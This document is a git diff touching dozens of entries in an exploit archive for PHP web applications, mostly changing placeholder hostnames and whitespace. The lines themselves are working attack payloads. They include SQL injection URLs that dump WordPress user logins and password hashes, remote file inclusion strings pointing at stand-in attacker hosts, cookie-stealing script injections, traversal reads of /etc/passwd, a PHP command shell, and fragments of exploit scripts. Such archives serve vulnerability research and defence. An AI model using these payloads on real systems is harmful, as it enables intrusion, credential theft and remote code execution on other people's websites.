-http://www.server/e/class/checklevel.php?check_path=http://shell.txt? +http://www.site.com/e/class/checklevel.php?check_path=http://shell.txt? #URL: diff --git a/platforms/php/webapps/22403.txt b/platforms/php/webapps/22403.txt index 89cf37a38..e2062c095 100755 --- a/platforms/php/webapps/22403.txt +++ b/platforms/php/webapps/22403.txt @@ -1,4 +1,4 @@ -1 ######################################### 1 + 1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 @@ -63,3 +63,4 @@ Spider Catalog for Joomla! is a convenient tool for organizing the products repr _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/22427.txt b/platforms/php/webapps/22427.txt index 4272c066c..081ae39a2 100755 --- a/platforms/php/webapps/22427.txt +++ b/platforms/php/webapps/22427.txt @@ -6,8 +6,8 @@ # Version: 1.1 # Tested on: Windows 7 ############################################################### -* Location: http://server/wp-content/plugins/all-video-gallery/config.php?vid=[SQL] -* Exploit Code: http://server/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid=-1+union+select+1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+wp_users-- +* Location: http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=[SQL] +* Exploit Code: http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid=-1+union+select+1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+wp_users-- *************************************************************** * Greetz to: My Lord ALLAH * Sp Tnx To: Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azad™,Black-Hole,Classic,Encoder,ERroR,Hashor diff --git a/platforms/php/webapps/22438.txt b/platforms/php/webapps/22438.txt index 92397fccd..7d334f67b 100755 --- a/platforms/php/webapps/22438.txt +++ b/platforms/php/webapps/22438.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7218/info Multiple path disclosure vulnerabilities have been reported in various PHP scripts used by PHP-Nuke. The issue occurs when an invalid URI parameter is passed to certain scripts. The affected scripts do not provide sufficient error handling for this circumstance and as such, may display an error page containing sensitive information path information. -http://server/modules.php?op=modload&name=Stats&file= \ No newline at end of file +http://www.target.com/modules.php?op=modload&name=Stats&file= \ No newline at end of file diff --git a/platforms/php/webapps/22439.txt b/platforms/php/webapps/22439.txt index 965a49236..97d4f1b08 100755 --- a/platforms/php/webapps/22439.txt +++ b/platforms/php/webapps/22439.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7218/info Multiple path disclosure vulnerabilities have been reported in various PHP scripts used by PHP-Nuke. The issue occurs when an invalid URI parameter is passed to certain scripts. The affected scripts do not provide sufficient error handling for this circumstance and as such, may display an error page containing sensitive information path information. -http://server/modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=uname1234 \ No newline at end of file +http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=uname1234 \ No newline at end of file diff --git a/platforms/php/webapps/22443.txt b/platforms/php/webapps/22443.txt index 38d9351b4..515fee154 100755 --- a/platforms/php/webapps/22443.txt +++ b/platforms/php/webapps/22443.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Guestbook that may allow remote attackers The vulnerability is likely due to insufficient permissions on the 'admin.php' script file. -http://hostname/guestbook/admin.php \ No newline at end of file +http://hostname/guestbook/admin.php \ No newline at end of file diff --git a/platforms/php/webapps/22444.txt b/platforms/php/webapps/22444.txt index 8392b6252..f25685f82 100755 --- a/platforms/php/webapps/22444.txt +++ b/platforms/php/webapps/22444.txt @@ -4,4 +4,4 @@ A path disclosure vulnerability has been reported for Guestbook. The issue occur Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system -http://hostname/jgb_eng_php3/cfooter.php3 \ No newline at end of file +http://hostname/jgb_eng_php3/cfooter.php3 \ No newline at end of file diff --git a/platforms/php/webapps/22445.txt b/platforms/php/webapps/22445.txt index c4d50a75e..18850fc05 100755 --- a/platforms/php/webapps/22445.txt +++ b/platforms/php/webapps/22445.txt @@ -4,4 +4,4 @@ A path disclosure vulnerability has been reported for ScozBook. The issue occurs Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system. -http://hostname/scozbook/view.php?PG=test \ No newline at end of file +http://hostname/scozbook/view.php?PG=test \ No newline at end of file diff --git a/platforms/php/webapps/22451.txt b/platforms/php/webapps/22451.txt index de4565f2e..d97599fa1 100755 --- a/platforms/php/webapps/22451.txt +++ b/platforms/php/webapps/22451.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7262/info It has been reported that it is possible to inject script code into the subject of a message in Phorum. This may be done by constructing a malicious subject line (or other fields) before sending an email to the target victim. -"><script>alert("Vulnerable");</script> \ No newline at end of file +"><script>alert("Vulnerable");</script> \ No newline at end of file diff --git a/platforms/php/webapps/22457.txt b/platforms/php/webapps/22457.txt index 6fad2d7db..70d418e90 100755 --- a/platforms/php/webapps/22457.txt +++ b/platforms/php/webapps/22457.txt @@ -9,4 +9,4 @@ This attack may lead to confidential or sensitive information disclosure, which ~$ ln -s /etc/passwd /tmp/form.tpl ~$ ln -s /etc/passwd /tmp/box.tpl -http://www.example.com/index.php?template=../../../../tmp \ No newline at end of file +http://www.example.com/index.php?template=../../../../tmp \ No newline at end of file diff --git a/platforms/php/webapps/22459.txt b/platforms/php/webapps/22459.txt index b80e319ab..41c603377 100755 --- a/platforms/php/webapps/22459.txt +++ b/platforms/php/webapps/22459.txt @@ -11,4 +11,4 @@ http://www.example.com/index.php?lng=../../../../tmp/p ~$ echo "<?php phpinfo() ?>" > /tmp/p.php -http://www.example.com/index.php?lng=../../../../tmp/p \ No newline at end of file +http://www.example.com/index.php?lng=../../../../tmp/p \ No newline at end of file diff --git a/platforms/php/webapps/22461.txt b/platforms/php/webapps/22461.txt index 565c83e83..369ec131a 100755 --- a/platforms/php/webapps/22461.txt +++ b/platforms/php/webapps/22461.txt @@ -5,4 +5,4 @@ An input validation error has been reported in Invision Board which may result i An attacker may be able to exploit this vulnerability by manipulating some URI parameter to include malicious SQL commands and queries which may result in information disclosure, or database corruption. http://www.example.com/index.php?skinid=99+AND+s.hidden%3D0+UNION+SELECT+s.*%2C+t.template%2C+c.password+FROM+ibf_skins+s+LEFT+JOIN+ibf_templates+t+ON+%28t.tmid%3Ds.tmpl_id% -29+LEFT+JOIN+ibf_members+c+ON+%28c.id%3D1%29+WHERE+s.sid%3D1+AND+s.hidden%3D0 \ No newline at end of file +29+LEFT+JOIN+ibf_members+c+ON+%28c.id%3D1%29+WHERE+s.sid%3D1+AND+s.hidden%3D0 \ No newline at end of file diff --git a/platforms/php/webapps/22463.txt b/platforms/php/webapps/22463.txt index 59fd3c773..ed518ded3 100755 --- a/platforms/php/webapps/22463.txt +++ b/platforms/php/webapps/22463.txt @@ -1,4 +1,4 @@ -1 ######################################### 1 + 1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 @@ -94,3 +94,4 @@ be accompanied with an image. _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/22474.txt b/platforms/php/webapps/22474.txt index 1d3373af6..bb6ae801a 100755 --- a/platforms/php/webapps/22474.txt +++ b/platforms/php/webapps/22474.txt @@ -6,4 +6,4 @@ It has been reported that an input validation error exists in the login.php file http://www.example.org/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1 -This will save all user passwords to the file.txt file, which will be remotely accessible. \ No newline at end of file +This will save all user passwords to the file.txt file, which will be remotely accessible. \ No newline at end of file diff --git a/platforms/php/webapps/22477.txt b/platforms/php/webapps/22477.txt index 8abdbfae6..bb58e48fd 100755 --- a/platforms/php/webapps/22477.txt +++ b/platforms/php/webapps/22477.txt @@ -10,4 +10,4 @@ This vulnerability has been reported to affect phPay version 2.02. However, prev http://www.example.com/login.phpsess=your_session_id&abt=&new_lang=99999&caller=navlang -http://www.example.com/start.php?config=alper.inc.php \ No newline at end of file +http://www.example.com/start.php?config=alper.inc.php \ No newline at end of file diff --git a/platforms/php/webapps/22478.txt b/platforms/php/webapps/22478.txt index c717b8ff9..a50f1ab3d 100755 --- a/platforms/php/webapps/22478.txt +++ b/platforms/php/webapps/22478.txt @@ -9,4 +9,4 @@ Any attacker-supplied code will be executed within the context of the website ru While this vulnerability has been reported to affect phPay version 2.02, previous versions may also be affected. http://www.example.com/search.php?sess=your_session_id&lookfor=<script>alert -(document.cookie)</script> \ No newline at end of file +(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2249.txt b/platforms/php/webapps/2249.txt index cd02c5fc9..d5d5b0a19 100755 --- a/platforms/php/webapps/2249.txt +++ b/platforms/php/webapps/2249.txt @@ -21,7 +21,7 @@ pSlash v0.7 (lvc_include_dir) Remote Include Vulnerability ############################################################ #Exploit: -http://www.server/[path]/modules/visitors2/include/config.inc.php?lvc_include_dir=http://evil_scripts? +http://www.site.com/[path]/modules/visitors2/include/config.inc.php?lvc_include_dir=http://evil_scripts? ############################################################ diff --git a/platforms/php/webapps/22491.txt b/platforms/php/webapps/22491.txt index d8ffaf33f..b75f62ded 100755 --- a/platforms/php/webapps/22491.txt +++ b/platforms/php/webapps/22491.txt @@ -6,4 +6,4 @@ Exploitation may allow theft of cookie-based authentication credentials or other http://[target]/index.php/content/search/?SectionID=3&SearchText=[hostile_code] http://[target]/index.php/[any_section]/">[hostile_code]< -http://[target]/index.php/"><script>[hostile_code]< \ No newline at end of file +http://[target]/index.php/"><script>[hostile_code]< \ No newline at end of file diff --git a/platforms/php/webapps/22492.txt b/platforms/php/webapps/22492.txt index a3ffae58d..fcc066aac 100755 --- a/platforms/php/webapps/22492.txt +++ b/platforms/php/webapps/22492.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/7349/info Several path disclosure vulnerabilities have been reported for eZ Publish. An attacker can exploit this vulnerability by making a HTTP request for any of the affected pages. This may result in a condition where path information is returned to the attacker. http://[target]/kernel/class/delete.php -http://[target]/kernel/classes/ezrole.php \ No newline at end of file +http://[target]/kernel/classes/ezrole.php \ No newline at end of file diff --git a/platforms/php/webapps/22498.txt b/platforms/php/webapps/22498.txt index 9b37f9021..edbf84d62 100755 --- a/platforms/php/webapps/22498.txt +++ b/platforms/php/webapps/22498.txt @@ -8,4 +8,4 @@ This attack may be used in conjunction with other attacks to disclose, what may It should be noted that although osCommerce version 2.2cvs was reported vulnerable, previous versions may also be affected. -http://www.example.com/oscommerce_installation/default.php/cPath/../../../../../ \ No newline at end of file +http://www.example.com/oscommerce_installation/default.php/cPath/../../../../../ \ No newline at end of file diff --git a/platforms/php/webapps/22501.txt b/platforms/php/webapps/22501.txt index 3ca8ed8dd..c53742fef 100755 --- a/platforms/php/webapps/22501.txt +++ b/platforms/php/webapps/22501.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7365/info A vulnerability has been reported for Xonic.ru News. The problem occurs due to insufficient sanitization of user-supplied data to the 'script.php' file. As a result, it may be possible for an attacker to pass malicious PHP or shell commands in requests to a target server. All commands would be executed on the system with the privileges of the vulnerable application. -http://www.example.org/admin/script.php?data=script.php?data=<? system($cmd) ?> \ No newline at end of file +http://www.example.org/admin/script.php?data=script.php?data=<? system($cmd) ?> \ No newline at end of file diff --git a/platforms/php/webapps/22517.txt b/platforms/php/webapps/22517.txt index 3c3b202ec..7bb1054fb 100755 --- a/platforms/php/webapps/22517.txt +++ b/platforms/php/webapps/22517.txt @@ -4,4 +4,4 @@ It has been reported that OpenBB does not properly check input passed via the 'i http://www.example.com/index.php?CID=1%20<something> -where <something> represents a SQL query. \ No newline at end of file +where <something> represents a SQL query. \ No newline at end of file diff --git a/platforms/php/webapps/22519.txt b/platforms/php/webapps/22519.txt index 38205bd84..dd9b23b84 100755 --- a/platforms/php/webapps/22519.txt +++ b/platforms/php/webapps/22519.txt @@ -4,4 +4,4 @@ It has been reported that OpenBB does not properly check input passed via the 'b http://www.example.com/board.php?FID=2%20<something> -where <something> represents a SQL query. \ No newline at end of file +where <something> represents a SQL query. \ No newline at end of file diff --git a/platforms/php/webapps/22520.txt b/platforms/php/webapps/22520.txt index 7460a01b5..bf1aba734 100755 --- a/platforms/php/webapps/22520.txt +++ b/platforms/php/webapps/22520.txt @@ -4,4 +4,4 @@ It has been reported that OpenBB does not properly check input passed via the 'm http://www.example.com/member.php?action=profile&UID=1%20<something> -where <something> represents a SQL query. \ No newline at end of file +where <something> represents a SQL query. \ No newline at end of file diff --git a/platforms/php/webapps/22534.txt b/platforms/php/webapps/22534.txt index dc021495e..a4be7cee1 100755 --- a/platforms/php/webapps/22534.txt +++ b/platforms/php/webapps/22534.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7427/info A vulnerability has been reported for Truegalerie that may result in unauthorized administrative access. The vulnerability exists due to insufficient sanitization of some URI values. -http://[target]/admin.php?loggedin=1 \ No newline at end of file +http://[target]/admin.php?loggedin=1 \ No newline at end of file diff --git a/platforms/php/webapps/22539.txt b/platforms/php/webapps/22539.txt index bff7f87bc..1e4673c69 100755 --- a/platforms/php/webapps/22539.txt +++ b/platforms/php/webapps/22539.txt @@ -6,4 +6,4 @@ Successful exploitation of this vulnerability may allow a malicious Xoops user t java script:alert%28document.cookie%29 -The script code must be embedded within HTML <img> tags. \ No newline at end of file +The script code must be embedded within HTML <img> tags. \ No newline at end of file diff --git a/platforms/php/webapps/2254.txt b/platforms/php/webapps/2254.txt index 3f3615982..5ed1ca8ce 100755 --- a/platforms/php/webapps/2254.txt +++ b/platforms/php/webapps/2254.txt @@ -17,8 +17,8 @@ Vulnerable: require_once include ($_CCFG['_PKG_PATH_INCL'].'redirect.php'); Exploit PoC: -http://www.server/[path]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script? -http://www.server/[path]/includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script? +http://www.site.com/[path]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script? +http://www.site.com/[path]/includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script? Dork: Powered By phpCOIN 1.2.3 #################################################################### diff --git a/platforms/php/webapps/22543.txt b/platforms/php/webapps/22543.txt index 3dd38e7cd..94f75192b 100755 --- a/platforms/php/webapps/22543.txt +++ b/platforms/php/webapps/22543.txt @@ -8,4 +8,4 @@ This issue may be exploited to steal cookie-based authentication credentials fro Altough this vulnerability was reported to affect OneCenter ForumOne version 4.0, previous version may also be affected. -<img src=javascript:alert(document.cookie);> \ No newline at end of file +<img src=javascript:alert(document.cookie);> \ No newline at end of file diff --git a/platforms/php/webapps/22557.txt b/platforms/php/webapps/22557.txt index 56a4b5a17..182411c92 100755 --- a/platforms/php/webapps/22557.txt +++ b/platforms/php/webapps/22557.txt @@ -10,4 +10,4 @@ This vulnerability was reported to affect Splatt Forum version 4.0, it is not cu Perform a search with the keywords: -<iframe src="http://www.example.com"> \ No newline at end of file +<iframe src="http://www.example.com"> \ No newline at end of file diff --git a/platforms/php/webapps/22558.txt b/platforms/php/webapps/22558.txt index ccdb7b000..ae280a49a 100755 --- a/platforms/php/webapps/22558.txt +++ b/platforms/php/webapps/22558.txt @@ -10,4 +10,4 @@ It should be noted that although this vulnerability has been reported to affect # Typical text here <script>alert(document.cookie);</script> additional text here. -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/php/webapps/2257.txt b/platforms/php/webapps/2257.txt index d43e3d33c..1db8144d6 100755 --- a/platforms/php/webapps/2257.txt +++ b/platforms/php/webapps/2257.txt @@ -59,8 +59,8 @@ include($cl_header); #Exploit: -http://www.server/[CliServ_path]/menu.php3?cl_headers=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[CliServ_path]/menu.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt] -http://www.server/[CliServ_path]/login.php3?cl_headers=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[CliServ_path]/login.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-25] diff --git a/platforms/php/webapps/22577.txt b/platforms/php/webapps/22577.txt index 3c7767fbb..3f2299af9 100755 --- a/platforms/php/webapps/22577.txt +++ b/platforms/php/webapps/22577.txt @@ -8,4 +8,4 @@ There are conflicting reports about whether or not this issue exists. The vendor http://www.example.com/ttforum/index.php?action=news;board=1; -template=http://www.yourserver/modules/forum/helpadmin;ext=help \ No newline at end of file +template=http://www.yourserver.com/modules/forum/helpadmin;ext=help \ No newline at end of file diff --git a/platforms/php/webapps/22578.txt b/platforms/php/webapps/22578.txt index 1d7d10f24..db315b2fd 100755 --- a/platforms/php/webapps/22578.txt +++ b/platforms/php/webapps/22578.txt @@ -6,4 +6,4 @@ Successful exploitation will result in the execution of the attacker-supplied PH There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible. -http://www.example.com/install.php?step=7&installdir=http://yourserver/Settings.php \ No newline at end of file +http://www.example.com/install.php?step=7&installdir=http://yourserver/Settings.php \ No newline at end of file diff --git a/platforms/php/webapps/22579.txt b/platforms/php/webapps/22579.txt index 40e88040d..b2363afc1 100755 --- a/platforms/php/webapps/22579.txt +++ b/platforms/php/webapps/22579.txt @@ -4,4 +4,4 @@ An HTML injection issue has been reported which may lead to unauthorized code ex It has been reported that it is possible to inject HTML or script code into the subject and other fields of a message in Phorum. This may be done by including code in message fields before sending a message to the target victim. -<<b>script>alert(document.cookie);<<b>/script> \ No newline at end of file +<<b>script>alert(document.cookie);<<b>/script> \ No newline at end of file diff --git a/platforms/php/webapps/22589.txt b/platforms/php/webapps/22589.txt index 444e70869..74196aa40 100755 --- a/platforms/php/webapps/22589.txt +++ b/platforms/php/webapps/22589.txt @@ -4,4 +4,4 @@ It has been reported that multiple input validation bugs exist in the Web_Links http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=2%20<our_code> -where <our_code> represents attacker-supplied SQL code. \ No newline at end of file +where <our_code> represents attacker-supplied SQL code. \ No newline at end of file diff --git a/platforms/php/webapps/2259.txt b/platforms/php/webapps/2259.txt index 0c4c91c78..223647d11 100755 --- a/platforms/php/webapps/2259.txt +++ b/platforms/php/webapps/2259.txt @@ -37,7 +37,7 @@ */ #Exploit: -http://www.server/[proManager_path]/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.Kacper.devilteam.Kacper.kacper1964@yahoo.pl.1)/* +http://www.site.com/[proManager_path]/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.Kacper.devilteam.Kacper.kacper1964@yahoo.pl.1)/* Admin name: Kacper Password: devilteam diff --git a/platforms/php/webapps/22590.txt b/platforms/php/webapps/22590.txt index 9efcc105c..ace38bce0 100755 --- a/platforms/php/webapps/22590.txt +++ b/platforms/php/webapps/22590.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ diff --git a/platforms/php/webapps/22595.txt b/platforms/php/webapps/22595.txt index 5f607b461..71c02599e 100755 --- a/platforms/php/webapps/22595.txt +++ b/platforms/php/webapps/22595.txt @@ -5,4 +5,4 @@ A cross site scripting vulnerability has been reported for PHP-Nuke. Specificall This may allow for theft of cookie-based authentication credentials and other attacks. http://[victim]/modules.php?name=Your_Account&op=userinfo& -username=bla<script>alert(document.cookie)</script> \ No newline at end of file +username=bla<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/22597.txt b/platforms/php/webapps/22597.txt index 9ff969e4a..d6ba8ee15 100755 --- a/platforms/php/webapps/22597.txt +++ b/platforms/php/webapps/22597.txt @@ -4,4 +4,4 @@ PHP-Nuke is reportedly prone to multiple SQL injection vulnerabilities in the Do http://www.example.com/modules.php?name=Downloads&d_op=getit&lid=2%20<our_code> -where <our_code> represents SQL code that can be injected. \ No newline at end of file +where <our_code> represents SQL code that can be injected. \ No newline at end of file diff --git a/platforms/php/webapps/2260.pl b/platforms/php/webapps/2260.pl index b1f3df6e6..6579c78f7 100755 --- a/platforms/php/webapps/2260.pl +++ b/platforms/php/webapps/2260.pl @@ -39,7 +39,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <AES Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[AES_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[AES_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -104,7 +104,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <AES Locaction> <shell location> <shell cmd>\r\n\n"; -print " <AES Locaction> - Full path to AES ex: http://www.server/AES/\r\n"; +print " <AES Locaction> - Full path to AES ex: http://www.site.com/AES/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/22600.txt b/platforms/php/webapps/22600.txt index ccd58edec..dfa48c46a 100755 --- a/platforms/php/webapps/22600.txt +++ b/platforms/php/webapps/22600.txt @@ -6,4 +6,4 @@ The issue presents itself due to a lack of sufficient sanitization when checking An attacker may exploit this condition to bypass the Owl authentication system. -http://www.example.com/intranet/browse.php?loginname=whocares&parent=1&expand=1&order=creatorid&sortposted=ASC \ No newline at end of file +http://www.example.com/intranet/browse.php?loginname=whocares&parent=1&expand=1&order=creatorid&sortposted=ASC \ No newline at end of file diff --git a/platforms/php/webapps/22603.txt b/platforms/php/webapps/22603.txt index 558f20148..ad5f8d306 100755 --- a/platforms/php/webapps/22603.txt +++ b/platforms/php/webapps/22603.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for PHP-Proxima. The problem occurs in the aut It should be noted that all local files would be accessed with the privileges of user invoking PHP-Proxima. -http://www.target.org/autohtml.php?op=modload&mainfile=x&name=filename \ No newline at end of file +http://www.target.org/autohtml.php?op=modload&mainfile=x&name=filename \ No newline at end of file diff --git a/platforms/php/webapps/22605.txt b/platforms/php/webapps/22605.txt index 832f8ba46..3452472fd 100755 --- a/platforms/php/webapps/22605.txt +++ b/platforms/php/webapps/22605.txt @@ -4,4 +4,4 @@ An SQL injection issue has been reported to affect OneOrZero Helpdesk. The error Successful exploitation could result in compromise of the OneOrZero Helpdesk site integrity. -http://www.example.com/supporter/tupdate.php?groupid=change&sg=groupid,description=char(97,98,99,100)&id=10 \ No newline at end of file +http://www.example.com/supporter/tupdate.php?groupid=change&sg=groupid,description=char(97,98,99,100)&id=10 \ No newline at end of file diff --git a/platforms/php/webapps/22606.py b/platforms/php/webapps/22606.py index 6dd93c93e..52e2c682a 100755 --- a/platforms/php/webapps/22606.py +++ b/platforms/php/webapps/22606.py @@ -9,7 +9,7 @@ import urlparse import httplib import string -OneOrZero("http://server","80","NewUserName","NewPassword") +OneOrZero("http://www.target.com","80","NewUserName","NewPassword") class OneOrZero: diff --git a/platforms/php/webapps/22607.txt b/platforms/php/webapps/22607.txt index beeaf8fcf..4b1cc544d 100755 --- a/platforms/php/webapps/22607.txt +++ b/platforms/php/webapps/22607.txt @@ -4,4 +4,4 @@ A cross-site scripting vulnerability has been reported for eZ publish. Specifica This may allow for theft of cookie-based authentication credentials and other attacks. -http://www.example.com/index.php/article/articleview/<img%20src="javascript:alert(document.cookie)"> \ No newline at end of file +http://www.example.com/index.php/article/articleview/<img%20src="javascript:alert(document.cookie)"> \ No newline at end of file diff --git a/platforms/php/webapps/2261.php b/platforms/php/webapps/2261.php index 909af2915..77bf3aa4b 100755 --- a/platforms/php/webapps/2261.php +++ b/platforms/php/webapps/2261.php @@ -15,7 +15,7 @@ if ((!isset($_GET["link"])) && (isset($_POST["link"]))) $_GET["link"] = $_POST[ .... ex: -http://www.server/[iziContents_path]/include/rssfunctions.php?GLOBALS[modules_home]=../../../../../../etc/passwd +http://www.site.com/[iziContents_path]/include/rssfunctions.php?GLOBALS[modules_home]=../../../../../../etc/passwd */ echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"; echo "+\r\n"; diff --git a/platforms/php/webapps/22612.txt b/platforms/php/webapps/22612.txt index 4fc6884e9..86a5b8684 100755 --- a/platforms/php/webapps/22612.txt +++ b/platforms/php/webapps/22612.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7625/info A remote file include vulnerability has been reported for ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'header.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL. -http://target/admin/templates/header.php?admin_root=http://attacker/ \ No newline at end of file +http://target/admin/templates/header.php?admin_root=http://attacker/ \ No newline at end of file diff --git a/platforms/php/webapps/2262.php b/platforms/php/webapps/2262.php index 85bce36b9..417e79e8d 100755 --- a/platforms/php/webapps/2262.php +++ b/platforms/php/webapps/2262.php @@ -35,15 +35,15 @@ echo "- K.C:* J.M (a.k.a Magaja)"\r\n"; echo "+"\r\n"; echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\r\n"; echo "+"\r\n"; -echo "Usage: www.server /path/ UserName Password proxy "\r\n"; -echo "ex: www.server <= site host "\r\n"; +echo "Usage: www.site.com /path/ UserName Password proxy "\r\n"; +echo "ex: www.site.com <= site host "\r\n"; echo "ex: /path/ <= script path "\r\n"; echo "ex: Username <= exploit username "\r\n"; echo "ex: Password <= exploit password "\r\n"; echo "ex: proxy <= optional ;-) "\r\n"; echo "+"\r\n"; echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\r\n"; -echo "EX: www.server /frogss/ Evil hacker 127.0.0.1 "\r\n"; +echo "EX: www.site.com /frogss/ Evil hacker 127.0.0.1 "\r\n"; echo "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\r\n"; /* diff --git a/platforms/php/webapps/22625.txt b/platforms/php/webapps/22625.txt index 4fe67f61e..c6cd46063 100755 --- a/platforms/php/webapps/22625.txt +++ b/platforms/php/webapps/22625.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7651/info A vulnerability has been reported for SudBox Boutique. The problem occurs due to insufficient initialization of variables and may allow an unauthorized user to gain authenticate. Specifically, by making a malicious request to the login.php script it may be possible to authenticate as the administrative user. -http://www.example.org/admin/login.php?check=1&admin=1 \ No newline at end of file +http://www.example.org/admin/login.php?check=1&admin=1 \ No newline at end of file diff --git a/platforms/php/webapps/22641.txt b/platforms/php/webapps/22641.txt index 726eaf5f1..7a6e2f335 100755 --- a/platforms/php/webapps/22641.txt +++ b/platforms/php/webapps/22641.txt @@ -4,4 +4,4 @@ It has been reported that BLNews is prone to a remote file include vulnerability This vulnerability is said to affect BLNews version 2.1.3-beta, however other versions may also be affected. -http://www.example.org/admin/objects.inc.php4?Server=http://www.attacker.org \ No newline at end of file +http://www.example.org/admin/objects.inc.php4?Server=http://www.attacker.org \ No newline at end of file diff --git a/platforms/php/webapps/22642.txt b/platforms/php/webapps/22642.txt index 0784cf43b..89fcfbf53 100755 --- a/platforms/php/webapps/22642.txt +++ b/platforms/php/webapps/22642.txt @@ -5,4 +5,4 @@ A vulnerability has been reported in Ultimate PHP Board. The problem is said to $ telnet www.target.org 80 Connected to www.target.org at 80 GET /board/index.php HTTP/1.0 -User-Agent: <? phpinfo(); ?> \ No newline at end of file +User-Agent: <? phpinfo(); ?> \ No newline at end of file diff --git a/platforms/php/webapps/22651.txt b/platforms/php/webapps/22651.txt index 566fff21f..2b4bdd39b 100755 --- a/platforms/php/webapps/22651.txt +++ b/platforms/php/webapps/22651.txt @@ -4,4 +4,4 @@ A vulnerability has been discovered in PostNuke Phoenix v0.723 and earlier. Spec Exploitation may allow for modification of SQL queries, resulting in information disclosure, or database corruption. -http://example.com/modules.php?op=modload&name=Glossary&file=index&page=`[SQL QUERY] \ No newline at end of file +http://example.com/modules.php?op=modload&name=Glossary&file=index&page=`[SQL QUERY] \ No newline at end of file diff --git a/platforms/php/webapps/22663.txt b/platforms/php/webapps/22663.txt index 0e87f11e2..f2b025d8c 100755 --- a/platforms/php/webapps/22663.txt +++ b/platforms/php/webapps/22663.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7705/info A vulnerability has been reported that could enable a member of the news system to create and access an administrative account. This is due to insufficient validation of data supplied to account editing input fields of Newsscript. -Peter<~>2 \ No newline at end of file +Peter<~>2 \ No newline at end of file diff --git a/platforms/php/webapps/22671.txt b/platforms/php/webapps/22671.txt index 3e5a219d8..be9fc649c 100755 --- a/platforms/php/webapps/22671.txt +++ b/platforms/php/webapps/22671.txt @@ -4,4 +4,4 @@ Shoutbox is prone to directory traversal attacks. The vulnerability exists due t An attacker can exploit this vulnerability by manipulating the value of the affected 'conf' URI parameter to obtain any files readable by the web server. -http://blablabla.com/shoutbox.php?conf=../../../../../../../etc/passwd \ No newline at end of file 